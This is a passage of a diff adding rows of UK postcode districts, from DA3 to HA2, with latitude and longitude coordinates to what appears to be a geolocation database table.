+('DA3', '', '', '51.385', '0.31', 0, 1, 'uk'),
+('DA4', '', '', '51.391', '0.233', 0, 1, 'uk'),
+('DA5', '', '', '51.44', '0.146', 0, 1, 'uk'),
+('DA6', '', '', '51.455', '0.14', 0, 1, 'uk'),
+('DA7', '', '', '51.466', '0.147', 0, 1, 'uk'),
+('DA8', '', '', '51.475', '0.178', 0, 1, 'uk'),
+('DA9', '', '', '51.447', '0.28', 0, 1, 'uk'),
+('DB23', '', '', '53.975871', '-1.993317', 0, 1, 'uk'),
+('DD1', '', '', '56.461', '-2.977', 0, 1, 'uk'),
+('DD10', '', '', '56.747', '-2.427', 0, 1, 'uk'),
+('DD11', '', '', '56.573', '-2.598', 0, 1, 'uk'),
+('DD2', '', '', '56.47', '-3.027', 0, 1, 'uk'),
+('DD3', '', '', '56.482', '-2.988', 0, 1, 'uk'),
+('DD4', '', '', '56.482', '-2.935', 0, 1, 'uk'),
+('DD5', '', '', '56.478', '-2.862', 0, 1, 'uk'),
+('DD6', '', '', '56.437', '-2.925', 0, 1, 'uk'),
+('DD7', '', '', '56.503', '-2.718', 0, 1, 'uk'),
+('DD8', '', '', '56.656', '-2.922', 0, 1, 'uk'),
+('DD9', '', '', '56.748', '-2.667', 0, 1, 'uk'),
+('DE1', '', '', '52.92', '-1.475', 0, 1, 'uk'),
+('DE11', '', '', '52.773', '-1.554', 0, 1, 'uk'),
+('DE12', '', '', '52.725', '-1.553', 0, 1, 'uk'),
+('DE13', '', '', '52.808', '-1.688', 0, 1, 'uk'),
+('DE14', '', '', '52.805', '-1.64', 0, 1, 'uk'),
+('DE15', '', '', '52.799', '-1.608', 0, 1, 'uk'),
+('DE21', '', '', '52.933', '-1.432', 0, 1, 'uk'),
+('DE22', '', '', '52.934', '-1.496', 0, 1, 'uk'),
+('DE23', '', '', '52.901', '-1.494', 0, 1, 'uk'),
+('DE24', '', '', '52.89', '-1.451', 0, 1, 'uk'),
+('DE3', '', '', '52.909', '-1.54', 0, 1, 'uk'),
+('DE4', '', '', '53.127', '-1.564', 0, 1, 'uk'),
+('DE45', '', '', '53.215', '-1.676', 0, 1, 'uk'),
+('DE5', '', '', '53.045', '-1.401', 0, 1, 'uk'),
+('DE55', '', '', '53.101', '-1.371', 0, 1, 'uk'),
+('DE56', '', '', '53.022', '-1.474', 0, 1, 'uk'),
+('DE6', '', '', '52.993', '-1.717', 0, 1, 'uk'),
+('DE65', '', '', '52.867', '-1.61', 0, 1, 'uk'),
+('DE7', '', '', '52.973', '-1.321', 0, 1, 'uk'),
+('DE72', '', '', '52.894', '-1.359', 0, 1, 'uk'),
+('DE73', '', '', '52.847', '-1.435', 0, 1, 'uk'),
+('DE74', '', '', '52.844', '-1.33', 0, 1, 'uk'),
+('DE75', '', '', '53.013', '-1.353', 0, 1, 'uk'),
+('DG1', '', '', '55.073', '-3.58', 0, 1, 'uk'),
+('DG10', '', '', '55.32', '-3.437', 0, 1, 'uk'),
+('DG11', '', '', '55.114', '-3.336', 0, 1, 'uk'),
+('DG12', '', '', '54.99', '-3.251', 0, 1, 'uk'),
+('DG13', '', '', '55.173', '-3.029', 0, 1, 'uk'),
+('DG14', '', '', '55.081', '-2.985', 0, 1, 'uk'),
+('DG16', '', '', '54.997', '-3.068', 0, 1, 'uk'),
+('DG2', '', '', '55.065', '-3.657', 0, 1, 'uk'),
+('DG3', '', '', '55.237', '-3.799', 0, 1, 'uk'),
+('DG4', '', '', '55.375', '-3.952', 0, 1, 'uk'),
+('DG5', '', '', '54.922', '-3.81', 0, 1, 'uk'),
+('DG6', '', '', '54.837', '-4.055', 0, 1, 'uk'),
+('DG7', '', '', '54.968', '-4.012', 0, 1, 'uk'),
+('DG8', '', '', '54.873', '-4.516', 0, 1, 'uk'),
+('DG9', '', '', '54.878', '-5.021', 0, 1, 'uk'),
+('DH1', '', '', '54.781', '-1.566', 0, 1, 'uk'),
+('DH2', '', '', '54.86', '-1.597', 0, 1, 'uk'),
+('DH3', '', '', '54.872', '-1.567', 0, 1, 'uk'),
+('DH4', '', '', '54.854', '-1.49', 0, 1, 'uk'),
+('DH5', '', '', '54.824', '-1.454', 0, 1, 'uk'),
+('DH6', '', '', '54.753', '-1.464', 0, 1, 'uk'),
+('DH7', '', '', '54.79', '-1.664', 0, 1, 'uk'),
+('DH8', '', '', '54.856', '-1.844', 0, 1, 'uk'),
+('DH9', '', '', '54.868', '-1.708', 0, 1, 'uk'),
+('DL1', '', '', '54.53', '-1.536', 0, 1, 'uk'),
+('DL10', '', '', '54.414', '-1.69', 0, 1, 'uk'),
+('DL11', '', '', '54.439', '-1.875', 0, 1, 'uk'),
+('DL12', '', '', '54.572', '-1.985', 0, 1, 'uk'),
+('DL13', '', '', '54.716', '-1.954', 0, 1, 'uk'),
+('DL14', '', '', '54.652', '-1.69', 0, 1, 'uk'),
+('DL15', '', '', '54.71', '-1.728', 0, 1, 'uk'),
+('DL16', '', '', '54.699', '-1.604', 0, 1, 'uk'),
+('DL17', '', '', '54.681', '-1.54', 0, 1, 'uk'),
+('DL18', '', '', '54.692056', '-1.546906', 0, 1, 'uk'),
+('DL2', '', '', '54.529', '-1.601', 0, 1, 'uk'),
+('DL3', '', '', '54.532', '-1.57', 0, 1, 'uk'),
+('DL4', '', '', '54.63', '-1.643', 0, 1, 'uk'),
+('DL5', '', '', '54.617', '-1.576', 0, 1, 'uk'),
+('DL6', '', '', '54.371', '-1.389', 0, 1, 'uk'),
+('DL7', '', '', '54.338', '-1.485', 0, 1, 'uk'),
+('DL8', '', '', '54.293', '-1.786', 0, 1, 'uk'),
+('DL9', '', '', '54.375', '-1.709', 0, 1, 'uk'),
+('DN1', '', '', '53.522', '-1.129', 0, 1, 'uk'),
+('DN10', '', '', '53.427', '-0.943', 0, 1, 'uk'),
+('DN11', '', '', '53.451', '-1.082', 0, 1, 'uk'),
+('DN12', '', '', '53.483', '-1.221', 0, 1, 'uk'),
+('DN14', '', '', '53.708', '-0.936', 0, 1, 'uk'),
+('DN15', '', '', '53.614', '-0.65', 0, 1, 'uk'),
+('DN16', '', '', '53.568', '-0.64', 0, 1, 'uk'),
+('DN17', '', '', '53.572', '-0.701', 0, 1, 'uk'),
+('DN18', '', '', '53.68', '-0.446', 0, 1, 'uk'),
+('DN19', '', '', '53.684', '-0.359', 0, 1, 'uk'),
+('DN2', '', '', '53.533', '-1.102', 0, 1, 'uk'),
+('DN20', '', '', '53.558', '-0.505', 0, 1, 'uk'),
+('DN21', '', '', '53.419', '-0.701', 0, 1, 'uk'),
+('DN22', '', '', '53.323', '-0.927', 0, 1, 'uk'),
+('DN3', '', '', '53.546', '-1.059', 0, 1, 'uk'),
+('DN31', '', '', '53.57', '-0.086', 0, 1, 'uk'),
+('DN32', '', '', '53.562', '-0.069', 0, 1, 'uk'),
+('DN33', '', '', '53.54', '-0.097', 0, 1, 'uk'),
+('DN34', '', '', '53.557', '-0.112', 0, 1, 'uk'),
+('DN35', '', '', '53.555', '-0.035', 0, 1, 'uk'),
+('DN36', '', '', '53.511', '-0.037', 0, 1, 'uk'),
+('DN37', '', '', '53.541', '-0.135', 0, 1, 'uk'),
+('DN38', '', '', '53.561', '-0.392', 0, 1, 'uk'),
+('DN39', '', '', '53.617', '-0.334', 0, 1, 'uk'),
+('DN4', '', '', '53.506', '-1.121', 0, 1, 'uk'),
+('DN40', '', '', '53.621', '-0.224', 0, 1, 'uk'),
+('DN41', '', '', '53.583', '-0.195', 0, 1, 'uk'),
+('DN5', '', '', '53.537', '-1.172', 0, 1, 'uk'),
+('DN6', '', '', '53.596', '-1.176', 0, 1, 'uk'),
+('DN7', '', '', '53.582', '-1.015', 0, 1, 'uk'),
+('DN8', '', '', '53.614', '-0.956', 0, 1, 'uk'),
+('DN9', '', '', '53.506', '-0.894', 0, 1, 'uk'),
+('DT1', '', '', '50.711', '-2.44', 0, 1, 'uk'),
+('DT10', '', '', '50.937', '-2.333', 0, 1, 'uk'),
+('DT11', '', '', '50.86', '-2.181', 0, 1, 'uk'),
+('DT2', '', '', '50.749', '-2.453', 0, 1, 'uk'),
+('DT3', '', '', '50.641', '-2.466', 0, 1, 'uk'),
+('DT4', '', '', '50.609', '-2.464', 0, 1, 'uk'),
+('DT5', '', '', '50.548', '-2.441', 0, 1, 'uk'),
+('DT6', '', '', '50.739', '-2.775', 0, 1, 'uk'),
+('DT7', '', '', '50.729', '-2.946', 0, 1, 'uk'),
+('DT8', '', '', '50.816', '-2.758', 0, 1, 'uk'),
+('DT9', '', '', '50.941', '-2.515', 0, 1, 'uk'),
+('DY1', '', '', '52.516', '-2.096', 0, 1, 'uk'),
+('DY10', '', '', '52.386', '-2.224', 0, 1, 'uk'),
+('DY11', '', '', '52.385', '-2.261', 0, 1, 'uk'),
+('DY12', '', '', '52.385', '-2.329', 0, 1, 'uk'),
+('DY13', '', '', '52.336', '-2.28', 0, 1, 'uk'),
+('DY14', '', '', '52.38', '-2.462', 0, 1, 'uk'),
+('DY2', '', '', '52.496', '-2.08', 0, 1, 'uk'),
+('DY3', '', '', '52.53', '-2.128', 0, 1, 'uk'),
+('DY4', '', '', '52.532', '-2.053', 0, 1, 'uk'),
+('DY5', '', '', '52.48', '-2.122', 0, 1, 'uk'),
+('DY6', '', '', '52.498', '-2.164', 0, 1, 'uk'),
+('DY7', '', '', '52.466', '-2.224', 0, 1, 'uk'),
+('DY8', '', '', '52.46', '-2.154', 0, 1, 'uk'),
+('DY9', '', '', '52.435', '-2.122', 0, 1, 'uk'),
+('E1', '', '', '51.517', '-0.058', 0, 1, 'uk'),
+('E10', '', '', '51.568', '-0.012', 0, 1, 'uk'),
+('E11', '', '', '51.568', '0.014', 0, 1, 'uk'),
+('E12', '', '', '51.55', '0.054', 0, 1, 'uk'),
+('E13', '', '', '51.527', '0.027', 0, 1, 'uk'),
+('E14', '', '', '51.506', '-0.019', 0, 1, 'uk'),
+('E15', '', '', '51.539', '0.003', 0, 1, 'uk'),
+('E16', '', '', '51.511', '0.026', 0, 1, 'uk'),
+('E17', '', '', '51.586', '-0.019', 0, 1, 'uk'),
+('E18', '', '', '51.592', '0.027', 0, 1, 'uk'),
+('E1W', '', '', '51.508', '-0.058', 0, 1, 'uk'),
+('E2', '', '', '51.529', '-0.061', 0, 1, 'uk'),
+('E3', '', '', '51.528', '-0.025', 0, 1, 'uk'),
+('E4', '', '', '51.622', '-0.003', 0, 1, 'uk'),
+('E5', '', '', '51.559', '-0.053', 0, 1, 'uk'),
+('E6', '', '', '51.526', '0.056', 0, 1, 'uk'),
+('E7', '', '', '51.547', '0.028', 0, 1, 'uk'),
+('E8', '', '', '51.542', '-0.064', 0, 1, 'uk'),
+('E9', '', '', '51.543', '-0.043', 0, 1, 'uk'),
+('EA11', '', '', '50.712947', '-3.30738', 0, 1, 'uk'),
+('EC1', '', '', '51.523', '-0.102', 0, 1, 'uk'),
+('EC1A', '', '', '51.52', '-0.103', 0, 1, 'uk'),
+('EC1E', '', '', '51.52297', '-0.102436', 0, 1, 'uk'),
+('EC1M', '', '', '51.521', '-0.102', 0, 1, 'uk'),
+('EC1N', '', '', '51.52', '-0.108', 0, 1, 'uk'),
+('EC1R', '', '', '51.524', '-0.107', 0, 1, 'uk'),
+('EC1V', '', '', '51.526', '-0.097', 0, 1, 'uk'),
+('EC1Y', '', '', '51.523', '-0.093', 0, 1, 'uk'),
+('EC2', '', '', '51.52', '-0.089', 0, 1, 'uk'),
+('EC2A', '', '', '51.523', '-0.085', 0, 1, 'uk'),
+('EC2M', '', '', '51.518', '-0.086', 0, 1, 'uk'),
+('EC2N', '', '', '51.516', '-0.086', 0, 1, 'uk'),
+('EC2R', '', '', '51.517', '-0.092', 0, 1, 'uk'),
+('EC2V', '', '', '51.516', '-0.093', 0, 1, 'uk'),
+('EC2Y', '', '', '51.52', '-0.096', 0, 1, 'uk'),
+('EC3', '', '', '51.513', '-0.083', 0, 1, 'uk'),
+('EC3A', '', '', '51.515', '-0.081', 0, 1, 'uk'),
+('EC3M', '', '', '51.512', '-0.083', 0, 1, 'uk'),
+('EC3N', '', '', '51.513', '-0.079', 0, 1, 'uk'),
+('EC3P', '', '', '51.52', '-0.101', 0, 1, 'uk'),
+('EC3R', '', '', '51.512', '-0.085', 0, 1, 'uk'),
+('EC3V', '', '', '51.513', '-0.086', 0, 1, 'uk'),
+('EC4', '', '', '51.514', '-0.101', 0, 1, 'uk'),
+('EC4A', '', '', '51.516', '-0.107', 0, 1, 'uk'),
+('EC4M', '', '', '51.515', '-0.1', 0, 1, 'uk'),
+('EC4N', '', '', '51.514', '-0.093', 0, 1, 'uk'),
+('EC4R', '', '', '51.512', '-0.091', 0, 1, 'uk'),
+('EC4V', '', '', '51.513', '-0.1', 0, 1, 'uk'),
+('EC4Y', '', '', '51.514', '-0.107', 0, 1, 'uk'),
+('EH1', '', '', '55.952', '-3.188', 0, 1, 'uk'),
+('EH10', '', '', '55.92', '-3.21', 0, 1, 'uk'),
+('EH11', '', '', '55.934', '-3.249', 0, 1, 'uk'),
+('EH12', '', '', '55.943', '-3.272', 0, 1, 'uk'),
+('EH13', '', '', '55.908', '-3.241', 0, 1, 'uk'),
+('EH14', '', '', '55.91', '-3.283', 0, 1, 'uk'),
+('EH15', '', '', '55.946', '-3.111', 0, 1, 'uk'),
+('EH16', '', '', '55.923', '-3.153', 0, 1, 'uk'),
+('EH17', '', '', '55.907', '-3.142', 0, 1, 'uk'),
+('EH18', '', '', '55.876', '-3.121', 0, 1, 'uk'),
+('EH19', '', '', '55.873', '-3.104', 0, 1, 'uk'),
+('EH2', '', '', '55.954', '-3.195', 0, 1, 'uk'),
+('EH20', '', '', '55.879', '-3.155', 0, 1, 'uk'),
+('EH21', '', '', '55.939', '-3.045', 0, 1, 'uk'),
+('EH22', '', '', '55.884', '-3.06', 0, 1, 'uk'),
+('EH23', '', '', '55.839', '-3.051', 0, 1, 'uk'),
+('EH24', '', '', '55.851', '-3.133', 0, 1, 'uk'),
+('EH25', '', '', '55.858', '-3.175', 0, 1, 'uk'),
+('EH26', '', '', '55.833', '-3.224', 0, 1, 'uk'),
+('EH27', '', '', '55.89', '-3.422', 0, 1, 'uk'),
+('EH28', '', '', '55.931', '-3.387', 0, 1, 'uk'),
+('EH29', '', '', '55.956', '-3.399', 0, 1, 'uk'),
+('EH3', '', '', '55.954', '-3.2', 0, 1, 'uk'),
+('EH30', '', '', '55.985', '-3.384', 0, 1, 'uk'),
+('EH31', '', '', '56.037', '-2.827', 0, 1, 'uk'),
+('EH32', '', '', '55.968', '-2.948', 0, 1, 'uk'),
+('EH33', '', '', '55.942', '-2.944', 0, 1, 'uk'),
+('EH34', '', '', '55.909', '-2.88', 0, 1, 'uk'),
+('EH35', '', '', '55.911', '-2.942', 0, 1, 'uk'),
+('EH36', '', '', '55.856', '-2.851', 0, 1, 'uk'),
+('EH37', '', '', '55.862', '-2.96', 0, 1, 'uk'),
+('EH38', '', '', '55.786', '-2.96', 0, 1, 'uk'),
+('EH39', '', '', '56.047', '-2.731', 0, 1, 'uk'),
+('EH4', '', '', '55.962', '-3.258', 0, 1, 'uk'),
+('EH40', '', '', '55.99', '-2.655', 0, 1, 'uk'),
+('EH41', '', '', '55.948', '-2.774', 0, 1, 'uk'),
+('EH42', '', '', '55.994', '-2.525', 0, 1, 'uk'),
+('EH43', '', '', '55.624', '-3.01', 0, 1, 'uk'),
+('EH44', '', '', '55.62', '-3.065', 0, 1, 'uk'),
+('EH45', '', '', '55.655', '-3.191', 0, 1, 'uk'),
+('EH46', '', '', '55.737', '-3.35', 0, 1, 'uk'),
+('EH47', '', '', '55.86', '-3.663', 0, 1, 'uk'),
+('EH48', '', '', '55.901', '-3.664', 0, 1, 'uk'),
+('EH49', '', '', '55.976', '-3.598', 0, 1, 'uk'),
+('EH5', '', '', '55.975', '-3.216', 0, 1, 'uk'),
+('EH51', '', '', '56.011', '-3.605', 0, 1, 'uk'),
+('EH52', '', '', '55.938', '-3.483', 0, 1, 'uk'),
+('EH53', '', '', '55.894', '-3.476', 0, 1, 'uk'),
+('EH54', '', '', '55.892', '-3.523', 0, 1, 'uk'),
+('EH55', '', '', '55.848', '-3.572', 0, 1, 'uk'),
+('EH6', '', '', '55.971', '-3.174', 0, 1, 'uk'),
+('EH7', '', '', '55.961', '-3.165', 0, 1, 'uk'),
+('EH8', '', '', '55.949', '-3.163', 0, 1, 'uk'),
+('EH9', '', '', '55.933', '-3.185', 0, 1, 'uk'),
+('EN1', '', '', '51.653', '-0.066', 0, 1, 'uk'),
+('EN10', '', '', '51.74', '-0.02', 0, 1, 'uk'),
+('EN11', '', '', '51.765', '-0.007', 0, 1, 'uk'),
+('EN2', '', '', '51.659', '-0.091', 0, 1, 'uk'),
+('EN3', '', '', '51.659', '-0.038', 0, 1, 'uk'),
+('EN4', '', '', '51.648', '-0.16', 0, 1, 'uk'),
+('EN5', '', '', '51.649', '-0.195', 0, 1, 'uk'),
+('EN52', '', '', '51.648861', '-0.201028', 0, 1, 'uk'),
+('EN6', '', '', '51.699', '-0.176', 0, 1, 'uk'),
+('EN7', '', '', '51.71', '-0.065', 0, 1, 'uk'),
+('EN8', '', '', '51.698', '-0.032', 0, 1, 'uk'),
+('EN9', '', '', '51.695', '0.014', 0, 1, 'uk'),
+('EN91', '', '', '51.702791', '0.034057', 0, 1, 'uk'),
+('EX1', '', '', '50.726', '-3.505', 0, 1, 'uk'),
+('EX10', '', '', '50.693', '-3.245', 0, 1, 'uk'),
+('EX11', '', '', '50.746', '-3.288', 0, 1, 'uk'),
+('EX12', '', '', '50.706', '-3.081', 0, 1, 'uk'),
+('EX13', '', '', '50.786', '-3.007', 0, 1, 'uk'),
+('EX14', '', '', '50.813', '-3.189', 0, 1, 'uk'),
+('EX15', '', '', '50.877', '-3.338', 0, 1, 'uk'),
+('EX16', '', '', '50.923', '-3.491', 0, 1, 'uk'),
+('EX17', '', '', '50.812', '-3.702', 0, 1, 'uk'),
+('EX18', '', '', '50.901', '-3.887', 0, 1, 'uk'),
+('EX19', '', '', '50.877', '-4.004', 0, 1, 'uk'),
+('EX2', '', '', '50.71', '-3.517', 0, 1, 'uk'),
+('EX20', '', '', '50.75', '-4.019', 0, 1, 'uk'),
+('EX21', '', '', '50.805', '-4.208', 0, 1, 'uk'),
+('EX22', '', '', '50.828', '-4.367', 0, 1, 'uk'),
+('EX23', '', '', '50.824', '-4.533', 0, 1, 'uk'),
+('EX24', '', '', '50.739', '-3.088', 0, 1, 'uk'),
+('EX29', '', '', '50.704703', '-3.792061', 0, 1, 'uk'),
+('EX3', '', '', '50.686', '-3.458', 0, 1, 'uk'),
+('EX31', '', '', '51.086', '-4.064', 0, 1, 'uk'),
+('EX32', '', '', '51.071', '-4.018', 0, 1, 'uk'),
+('EX33', '', '', '51.114', '-4.169', 0, 1, 'uk'),
+('EX34', '', '', '51.199', '-4.103', 0, 1, 'uk'),
+('EX35', '', '', '51.224', '-3.828', 0, 1, 'uk'),
+('EX36', '', '', '51.016', '-3.792', 0, 1, 'uk'),
+('EX37', '', '', '50.979', '-3.951', 0, 1, 'uk'),
+('EX38', '', '', '50.943', '-4.151', 0, 1, 'uk'),
+('EX39', '', '', '51.014', '-4.246', 0, 1, 'uk'),
+('EX4', '', '', '50.73', '-3.526', 0, 1, 'uk'),
+('EX5', '', '', '50.757', '-3.439', 0, 1, 'uk'),
+('EX6', '', '', '50.677', '-3.597', 0, 1, 'uk'),
+('EX7', '', '', '50.592', '-3.473', 0, 1, 'uk'),
+('EX8', '', '', '50.629', '-3.401', 0, 1, 'uk'),
+('EX9', '', '', '50.639', '-3.323', 0, 1, 'uk'),
+('FK1', '', '', '55.985', '-3.793', 0, 1, 'uk'),
+('FK10', '', '', '56.115', '-3.781', 0, 1, 'uk'),
+('FK11', '', '', '56.15', '-3.85', 0, 1, 'uk'),
+('FK12', '', '', '56.152', '-3.8', 0, 1, 'uk'),
+('FK13', '', '', '56.151', '-3.74', 0, 1, 'uk'),
+('FK14', '', '', '56.166', '-3.66', 0, 1, 'uk'),
+('FK15', '', '', '56.203', '-3.949', 0, 1, 'uk'),
+('FK16', '', '', '56.191', '-4.059', 0, 1, 'uk'),
+('FK17', '', '', '56.24', '-4.219', 0, 1, 'uk'),
+('FK18', '', '', '56.325', '-4.328', 0, 1, 'uk'),
+('FK19', '', '', '56.371', '-4.313', 0, 1, 'uk'),
+('FK2', '', '', '56.005', '-3.754', 0, 1, 'uk'),
+('FK20', '', '', '56.406', '-4.63', 0, 1, 'uk'),
+('FK21', '', '', '56.466', '-4.319', 0, 1, 'uk'),
+('FK3', '', '', '56.011', '-3.719', 0, 1, 'uk'),
+('FK4', '', '', '55.997', '-3.906', 0, 1, 'uk'),
+('FK5', '', '', '56.025', '-3.818', 0, 1, 'uk'),
+('FK6', '', '', '56.022', '-3.915', 0, 1, 'uk'),
+('FK7', '', '', '56.097', '-3.917', 0, 1, 'uk'),
+('FK8', '', '', '56.131', '-4.051', 0, 1, 'uk'),
+('FK9', '', '', '56.142', '-3.94', 0, 1, 'uk'),
+('FY1', '', '', '53.815', '-3.046', 0, 1, 'uk'),
+('FY2', '', '', '53.845', '-3.039', 0, 1, 'uk'),
+('FY3', '', '', '53.821', '-3.021', 0, 1, 'uk'),
+('FY4', '', '', '53.791', '-3.028', 0, 1, 'uk'),
+('FY5', '', '', '53.874', '-3.021', 0, 1, 'uk'),
+('FY6', '', '', '53.868', '-2.981', 0, 1, 'uk'),
+('FY7', '', '', '53.916', '-3.026', 0, 1, 'uk'),
+('FY8', '', '', '53.751', '-3.002', 0, 1, 'uk'),
+('G1', '', '', '55.86', '-4.247', 0, 1, 'uk'),
+('G11', '', '', '55.874', '-4.312', 0, 1, 'uk'),
+('G12', '', '', '55.88', '-4.3', 0, 1, 'uk'),
+('G13', '', '', '55.894', '-4.347', 0, 1, 'uk'),
+('G14', '', '', '55.881', '-4.349', 0, 1, 'uk'),
+('G15', '', '', '55.91', '-4.365', 0, 1, 'uk'),
+('G2', '', '', '55.864', '-4.255', 0, 1, 'uk'),
+('G20', '', '', '55.886', '-4.282', 0, 1, 'uk'),
+('G21', '', '', '55.881', '-4.22', 0, 1, 'uk'),
+('G22', '', '', '55.89', '-4.251', 0, 1, 'uk'),
+('G23', '', '', '55.902', '-4.284', 0, 1, 'uk'),
+('G3', '', '', '55.866', '-4.272', 0, 1, 'uk'),
+('G31', '', '', '55.857', '-4.208', 0, 1, 'uk'),
+('G32', '', '', '55.849', '-4.163', 0, 1, 'uk'),
+('G33', '', '', '55.873', '-4.165', 0, 1, 'uk'),
+('G34', '', '', '55.868', '-4.111', 0, 1, 'uk'),
+('G4', '', '', '55.868', '-4.252', 0, 1, 'uk'),
+('G40', '', '', '55.848', '-4.222', 0, 1, 'uk'),
+('G41', '', '', '55.838', '-4.282', 0, 1, 'uk'),
+('G42', '', '', '55.833', '-4.256', 0, 1, 'uk'),
+('G43', '', '', '55.818', '-4.29', 0, 1, 'uk'),
+('G44', '', '', '55.814', '-4.255', 0, 1, 'uk'),
+('G45', '', '', '55.805', '-4.231', 0, 1, 'uk'),
+('G46', '', '', '55.804', '-4.307', 0, 1, 'uk'),
+('G5', '', '', '55.848', '-4.252', 0, 1, 'uk'),
+('G51', '', '', '55.858', '-4.314', 0, 1, 'uk'),
+('G52', '', '', '55.848', '-4.348', 0, 1, 'uk'),
+('G53', '', '', '55.822', '-4.351', 0, 1, 'uk'),
+('G60', '', '', '55.922', '-4.453', 0, 1, 'uk'),
+('G61', '', '', '55.919', '-4.33', 0, 1, 'uk'),
+('G62', '', '', '55.943', '-4.32', 0, 1, 'uk'),
+('G63', '', '', '56.042', '-4.364', 0, 1, 'uk'),
+('G64', '', '', '55.911', '-4.217', 0, 1, 'uk'),
+('G65', '', '', '55.973', '-4.057', 0, 1, 'uk'),
+('G66', '', '', '55.941', '-4.153', 0, 1, 'uk'),
+('G67', '', '', '55.947', '-3.985', 0, 1, 'uk'),
+('G68', '', '', '55.953', '-4.01', 0, 1, 'uk'),
+('G69', '', '', '55.874', '-4.102', 0, 1, 'uk'),
+('G71', '', '', '55.822', '-4.073', 0, 1, 'uk'),
+('G72', '', '', '55.804', '-4.128', 0, 1, 'uk'),
+('G73', '', '', '55.82', '-4.206', 0, 1, 'uk'),
+('G74', '', '', '55.769', '-4.173', 0, 1, 'uk'),
+('G75', '', '', '55.771341', '-4.155749', 0, 1, 'uk'),
+('G76', '', '', '55.778', '-4.272', 0, 1, 'uk'),
+('G77', '', '', '55.774', '-4.33', 0, 1, 'uk'),
+('G78', '', '', '55.793', '-4.409', 0, 1, 'uk'),
+('G81', '', '', '55.913', '-4.406', 0, 1, 'uk'),
+('G82', '', '', '55.952', '-4.574', 0, 1, 'uk'),
+('G83', '', '', '56.012', '-4.585', 0, 1, 'uk'),
+('G84', '', '', '56.014', '-4.754', 0, 1, 'uk'),
+('GL1', '', '', '51.86', '-2.239', 0, 1, 'uk'),
+('GL10', '', '', '51.743', '-2.284', 0, 1, 'uk'),
+('GL11', '', '', '51.689', '-2.356', 0, 1, 'uk'),
+('GL12', '', '', '51.625', '-2.385', 0, 1, 'uk'),
+('GL13', '', '', '51.693', '-2.459', 0, 1, 'uk'),
+('GL14', '', '', '51.817', '-2.479', 0, 1, 'uk'),
+('GL15', '', '', '51.736', '-2.551', 0, 1, 'uk'),
+('GL16', '', '', '51.795', '-2.611', 0, 1, 'uk'),
+('GL17', '', '', '51.856', '-2.514', 0, 1, 'uk'),
+('GL18', '', '', '51.941', '-2.414', 0, 1, 'uk'),
+('GL19', '', '', '51.943', '-2.286', 0, 1, 'uk'),
+('GL2', '', '', '51.846', '-2.267', 0, 1, 'uk'),
+('GL20', '', '', '52.003', '-2.13', 0, 1, 'uk'),
+('GL29', '', '', '52.091444', '-2.351365', 0, 1, 'uk'),
+('GL3', '', '', '51.865', '-2.177', 0, 1, 'uk'),
+('GL4', '', '', '51.842', '-2.216', 0, 1, 'uk'),
+('GL5', '', '', '51.738', '-2.219', 0, 1, 'uk'),
+('GL50', '', '', '51.9', '-2.08', 0, 1, 'uk'),
+('GL51', '', '', '51.899', '-2.107', 0, 1, 'uk'),
+('GL52', '', '', '51.916', '-2.058', 0, 1, 'uk'),
+('GL53', '', '', '51.881', '-2.067', 0, 1, 'uk'),
+('GL54', '', '', '51.897', '-1.864', 0, 1, 'uk'),
+('GL55', '', '', '52.061', '-1.768', 0, 1, 'uk'),
+('GL56', '', '', '51.988', '-1.704', 0, 1, 'uk'),
+('GL6', '', '', '51.735', '-2.192', 0, 1, 'uk'),
+('GL7', '', '', '51.713', '-1.897', 0, 1, 'uk'),
+('GL8', '', '', '51.642', '-2.171', 0, 1, 'uk'),
+('GL9', '', '', '51.557', '-2.298', 0, 1, 'uk'),
+('GU1', '', '', '51.243', '-0.564', 0, 1, 'uk'),
+('GU10', '', '', '51.197', '-0.796', 0, 1, 'uk'),
+('GU11', '', '', '51.248', '-0.761', 0, 1, 'uk'),
+('GU12', '', '', '51.251', '-0.731', 0, 1, 'uk'),
+('GU13', '', '', '51.274', '-0.837', 0, 1, 'uk'),
+('GU14', '', '', '51.293', '-0.761', 0, 1, 'uk'),
+('GU15', '', '', '51.334', '-0.739', 0, 1, 'uk'),
+('GU16', '', '', '51.311', '-0.729', 0, 1, 'uk'),
+('GU17', '', '', '51.329', '-0.785', 0, 1, 'uk'),
+('GU18', '', '', '51.349', '-0.67', 0, 1, 'uk'),
+('GU19', '', '', '51.36', '-0.69', 0, 1, 'uk'),
+('GU2', '', '', '51.245', '-0.592', 0, 1, 'uk'),
+('GU20', '', '', '51.368', '-0.656', 0, 1, 'uk'),
+('GU21', '', '', '51.32', '-0.577', 0, 1, 'uk'),
+('GU22', '', '', '51.312', '-0.55', 0, 1, 'uk'),
+('GU23', '', '', '51.297', '-0.508', 0, 1, 'uk'),
+('GU24', '', '', '51.329', '-0.626', 0, 1, 'uk'),
+('GU25', '', '', '51.401', '-0.57', 0, 1, 'uk'),
+('GU26', '', '', '51.112', '-0.746', 0, 1, 'uk'),
+('GU27', '', '', '51.082', '-0.718', 0, 1, 'uk'),
+('GU28', '', '', '50.99', '-0.63', 0, 1, 'uk'),
+('GU29', '', '', '50.984', '-0.746', 0, 1, 'uk'),
+('GU3', '', '', '51.246', '-0.624', 0, 1, 'uk'),
+('GU30', '', '', '51.074', '-0.803', 0, 1, 'uk'),
+('GU31', '', '', '50.996', '-0.902', 0, 1, 'uk'),
+('GU32', '', '', '51.008', '-0.97', 0, 1, 'uk'),
+('GU33', '', '', '51.049', '-0.891', 0, 1, 'uk'),
+('GU34', '', '', '51.139', '-0.983', 0, 1, 'uk'),
+('GU35', '', '', '51.116', '-0.846', 0, 1, 'uk'),
+('GU4', '', '', '51.243', '-0.541', 0, 1, 'uk'),
+('GU46', '', '', '51.337', '-0.825', 0, 1, 'uk'),
+('GU47', '', '', '51.348', '-0.788', 0, 1, 'uk'),
+('GU5', '', '', '51.203', '-0.515', 0, 1, 'uk'),
+('GU51', '', '', '51.283', '-0.84', 0, 1, 'uk'),
+('GU52', '', '', '51.264', '-0.838', 0, 1, 'uk'),
+('GU6', '', '', '51.141', '-0.482', 0, 1, 'uk'),
+('GU7', '', '', '51.189', '-0.61', 0, 1, 'uk'),
+('GU8', '', '', '51.151', '-0.64', 0, 1, 'uk'),
+('GU9', '', '', '51.218', '-0.793', 0, 1, 'uk'),
+('GY1', '', '', '49.459269', '-2.538099', 0, 1, 'uk'),
+('H10', '', '', '51.112343', '-0.187082', 0, 1, 'uk'),
+('HA0', '', '', '51.55', '-0.304', 0, 1, 'uk'),
+('HA1', '', '', '51.58', '-0.336', 0, 1, 'uk'),
+('HA2', '', '', '51.574', '-0.357', 0, 1, 'uk'),
